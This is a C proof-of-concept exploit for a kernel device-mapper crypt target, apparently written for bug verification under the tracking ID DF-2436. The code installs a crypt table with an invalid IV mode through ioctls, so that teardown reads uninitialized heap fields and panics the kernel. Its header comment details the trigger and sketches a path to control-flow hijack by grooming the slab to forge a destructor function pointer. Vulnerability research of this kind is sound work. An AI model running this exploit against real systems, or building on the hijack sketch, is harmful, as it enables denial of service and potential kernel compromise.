/* * DF-2436 PoC -- use of uninitialized heap memory in * dm_target_crypt_destroy() on partial-init failure. * * Bug: in sys/dev/disk/dm/crypt/dm_target_crypt.c dm_target_crypt_init(): * * 489: priv = kmalloc(sizeof(dm_target_crypt_config_t), M_DMCRYPT, M_WAITOK); * ^^^ NO M_ZERO -- priv contains heap residue. ivgen, ivgen_priv, * crypto_session, status_str, read_mpipe, write_mpipe are GARBAGE. * ... * 513: dm_table_init_target(table_en, priv); <-- PUBLISHES priv (garbage) * ... * 521/533/543/552/564: goto notsup; <-- 5 error paths AFTER publish * and BEFORE ivgen/crypto_session * /status_str/mpipes initialized. * * The notsup block (584-587) only frees the local status_str and returns ENOTSUP; * it does NOT zero priv's fields, does NOT NULL table_en->target_config, and * does NOT free priv (the caller will via dm_table_destroy). * * Caller dm_table_load_ioctl (sys/dev/disk/dm/dm_ioctl.c:783-785) on init error * calls dm_table_destroy() -> dm_target_crypt_destroy(table_en) which reads the * uninitialized fields: * * destroy (dm_target_crypt.c:607): * 620: dmtc_destroy_mpipe(priv); * -> mpipe_done(&priv->read_mpipe) (kern_mpipe.c:128) * KKASSERT(mpipe->free_count == mpipe->total_count) * ^^^ both garbage -> INVARIANTS panic "no outstanding mem" * 628: if (priv->status_str) { ... strlen(priv->status_str) ... kfree(...) } * ^^^ garbage pointer deref * 633: if ((priv->ivgen) && (priv->ivgen->dtor != NULL)) { ... } * ^^^ garbage function pointer deref / control-flow hijack primitive * 637: cryptoapi_cipher_freesession(priv->crypto_session); * ^^^ garbage pointer deref * * This is CWE-908 (Use of Uninitialized Resource). On the default GENERIC * kernel (INVARIANTS ON) it manifests as the mpipe_done() KKASSERT panic at * kern_mpipe.c:128 because two random 4-byte heap-residue ints (free_count / * total_count) almost never compare equal. * * TRIGGER: install a `crypt` table with a valid cipher + valid device + valid * hex key, but an INVALID iv_mode name (e.g. "bogusiv"), so execution reaches * the iv_mode lookup loop (line 525-528) AFTER priv is published (513) and * takes the `goto notsup` at line 533 -- all of ivgen/ivgen_priv/crypto_session * /status_str/read_mpipe/write_mpipe still raw heap. * * argv[0]="aes-xts-bogusiv" -> crypto_alg="aes" crypto_mode="xts" * iv_opt="bogusiv" iv_mode="bogusiv" * argv[1]=<64 hex chars> -> 256-bit key, hex2key OK, klen_in_bits=256 * argv[2]="0" -> iv_offset=0 * argv[3]="/dev/md0" -> dm_pdev_insert OK (md0 present) * argv[4]="0" -> block_offset=0 * * PRIVILEGE NOTE: /dev/mapper/control is 0640 root:operator (device-mapper.c:181) * and the dm module must be kldload-ed by root. The whole dm ioctl surface is * therefore root/operator-only. There is NO unprivileged path (maxx uid 1001 * is not in wheel/operator), so uid0 escalation is blocked by privilege -- * a VALID hard blocker (root->kernel is game-over by definition). The realistic * impact is a root/operator local DoS (INVARIANTS panic) plus an uninitialized- * heap-use primitive toward code execution if an attacker can groom the slab * so priv->ivgen->dtor points at a forged iv_generator with a chosen function * pointer (defense-in-depth; SMEP/SMAP OFF on this guest would let such a * pointer jump to userspace shellcode on a noinv build). * * Build: cc -O2 -o dm_crypt_uninit dm_crypt_uninit.c -lprop * Run: ./dm_crypt_uninit (as root, after `kldload dm`) * * Expected on BUGGY kernel: guest PANICS in mpipe_done() KKASSERT at * kern_mpipe.c:128 ("no outstanding mem"), or a garbage-pointer fault in * dm_target_crypt_destroy(); boot.log shows the panic signature, ssh dies. * Expected on FIXED kernel: reload returns EINVAL/ENOTSUP cleanly, guest * stays up, no panic. */ #include #include #include #include #include #include #include #include #include #define DM_CONTROL_DEV "/dev/mapper/control" #define DEV_NAME "df2436dev" /* 256-bit AES key (64 hex chars); aes-xts accepts 256-bit key in cryptoapi. */ #define HEXKEY "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef" /* Underlying block device; dm_pdev_insert must open it. /dev/md0 exists. */ #define UNDERLYING_DEV "/dev/md0" /* * INVALID iv_mode -> reaches the ivgens[] lookup (line 525) AFTER priv is * published (513) and after hex2key succeeds (515-518), then takes * `goto notsup` at line 533. At this point read_mpipe/write_mpipe/ivgen/ * crypto_session/status_str are all uninitialized heap residue. */ #define BAD_IV_MODE "bogusiv" static int g_ctlfd = -1; static int send_ioctl(prop_dictionary_t dict) { return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL); } static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict; prop_array_t ver; dict = prop_dictionary_create(); ver = prop_array_create(); prop_array_add_uint32(ver, 4); /* major */ prop_array_add_uint32(ver, 0); /* minor <= 16 */ prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } static int do_create(void) { prop_dictionary_t dict = new_dm_dict("create"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); int rv = send_ioctl(dict); prop_object_release(dict); return rv; } static int do_remove(void) { prop_dictionary_t dict = new_dm_dict("remove"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); int rv = send_ioctl(dict); prop_object_release(dict); return rv; } /* * Install a `crypt` table with a valid cipher/device/key but INVALID iv_mode. * dm_target_crypt_init() will: * - allocate priv (no M_ZERO) [line 489] * - dm_pdev_insert(/dev/md0) OK [line 492] * - dmtc_find_crypto_cipher(aes,xts,256) OK [line 498] * - dm_table_init_target -> PUBLISH priv [line 513] * - hex2key OK [line 515] * - iv_mode "bogusiv" NOT in ivgens -> goto notsup [line 533] * Then the caller sees ENOTSUP, calls dm_table_destroy -> destroy reads the * uninitialized mpipe/status_str/ivgen/crypto_session fields -> panic. */ static int do_reload_bad_iv(void) { prop_dictionary_t dict, target_dict; prop_array_t cmd_data; char params[512]; int rv; snprintf(params, sizeof(params), "aes-xts-%s %s 0 %s 0", BAD_IV_MODE, HEXKEY, UNDERLYING_DEV); dict = new_dm_dict("reload"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); cmd_data = prop_array_create(); target_dict = prop_dictionary_create(); prop_dictionary_set_cstring(target_dict, DM_TABLE_TYPE, "crypt"); prop_dictionary_set_uint64(target_dict, DM_TABLE_START, 0); prop_dictionary_set_uint64(target_dict, DM_TABLE_LENGTH, 2097152); prop_dictionary_set_cstring(target_dict, DM_TABLE_PARAMS, params); prop_array_add(cmd_data, target_dict); prop_object_release(target_dict); prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, cmd_data); prop_object_release(cmd_data); rv = send_ioctl(dict); prop_object_release(dict); return rv; } int main(void) { int rv; g_ctlfd = open(DM_CONTROL_DEV, O_RDWR); if (g_ctlfd < 0) { fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV, strerror(errno)); fprintf(stderr, " (need root; is `dm` loaded? run: kldload dm)\n"); return 1; } printf("[*] DF-2436 dm_target_crypt_destroy uninitialized-heap-use\n"); printf("[*] trigger: reload crypt table with iv_mode=\"%s\" (not in ivgens)\n", BAD_IV_MODE); printf("[*] -> priv published at dm_target_crypt.c:513 with raw heap\n"); printf("[*] in ivgen/crypto_session/status_str/read_mpipe/write_mpipe\n"); printf("[*] -> destroy reads them: mpipe_done KKASSERT / garbage deref\n"); fflush(stdout); (void)do_remove(); rv = do_create(); if (rv != 0) { fprintf(stderr, "[!] create rv=%d (%s)\n", rv, strerror(rv)); close(g_ctlfd); return 1; } printf("[*] firing reload with invalid iv_mode (priv published, then notsup)...\n"); fflush(stdout); /* * On the buggy kernel this ioctl triggers the panic inside the kernel * (in dm_table_destroy -> dm_target_crypt_destroy -> mpipe_done), so the * ioctl typically does NOT return -- ssh dies, boot.log captures the * panic. If we get here, the ioctl either returned an error (fixed kernel * or the path was safe) or we raced past the panic. */ rv = do_reload_bad_iv(); printf("[*] reload returned rv=%d (%s)\n", rv, rv ? strerror(rv) : "ok"); printf("[!!!] REACHED HERE = guest survived. On the buggy kernel the guest\n"); printf(" should have panicked in mpipe_done() during destroy. Check\n"); printf(" boot.log for the panic signature.\n"); fflush(stdout); (void)do_remove(); close(g_ctlfd); return 0; }